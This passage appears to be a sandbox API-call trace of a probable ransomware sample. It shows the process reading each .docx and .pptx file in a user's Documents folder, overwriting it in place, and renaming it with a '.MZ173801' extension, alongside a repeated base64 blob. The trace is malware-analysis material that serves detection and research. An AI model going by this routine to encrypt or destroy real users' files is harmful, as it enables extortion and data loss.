TdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WSc xO6G.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wsc xo6g.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.658] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.658] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.658] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x4487 [0124.658] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.658] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x4487, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x4487, lpOverlapped=0x0) returned 1 [0124.659] CloseHandle (hObject=0x288) returned 1 [0124.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WSc xO6G.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wsc xo6g.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.661] WriteFile (in: hFile=0x288, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x4487, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f99c*=0x4487, lpOverlapped=0x0) returned 1 [0124.662] CloseHandle (hObject=0x288) returned 1 [0124.664] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WSc xO6G.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wsc xo6g.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WSc xO6G.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wsc xo6g.docx.mz173801")) returned 1 [0124.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XHVOZ5Eqp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhvoz5eqp.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x928236c0, ftCreationTime.dwHighDateTime=0x1d5afe0, ftLastAccessTime.dwLowDateTime=0xc7af02a0, ftLastAccessTime.dwHighDateTime=0x1d56149, ftLastWriteTime.dwLowDateTime=0xc7af02a0, ftLastWriteTime.dwHighDateTime=0x1d56149, nFileSizeHigh=0x0, nFileSizeLow=0x1550b)) returned 1 [0124.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XHVOZ5Eqp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhvoz5eqp.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.669] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0124.669] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.669] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1550b [0124.669] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0124.669] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x1550b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x1550b, lpOverlapped=0x0) returned 1 [0124.671] CloseHandle (hObject=0x288) returned 1 [0124.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XHVOZ5Eqp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhvoz5eqp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0124.674] WriteFile (in: hFile=0x288, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x1550b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f99c*=0x1550b, lpOverlapped=0x0) returned 1 [0124.677] CloseHandle (hObject=0x288) returned 1 [0124.683] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XHVOZ5Eqp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhvoz5eqp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XHVOZ5Eqp.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xhvoz5eqp.docx.mz173801")) returned 1 [0124.685] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\XLS81S1HBOf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xls81s1hbof.pptx"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3a99440, ftCreationTime.dwHighDateTime=0x1d5d8f5, ftLastAccessTime.dwLowDateTime=0x74d42690, ftLastAccessTime.dwHighDateTime=0x1d5b915, ftLastWriteTime.dwLowDateTime=0x74d42690, ftLastWriteTime.dwHighDateTime=0x1d5b915, nFileSizeHigh=0x0, nFileSizeLow=0x8a3f)) returned 1 [0124.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMy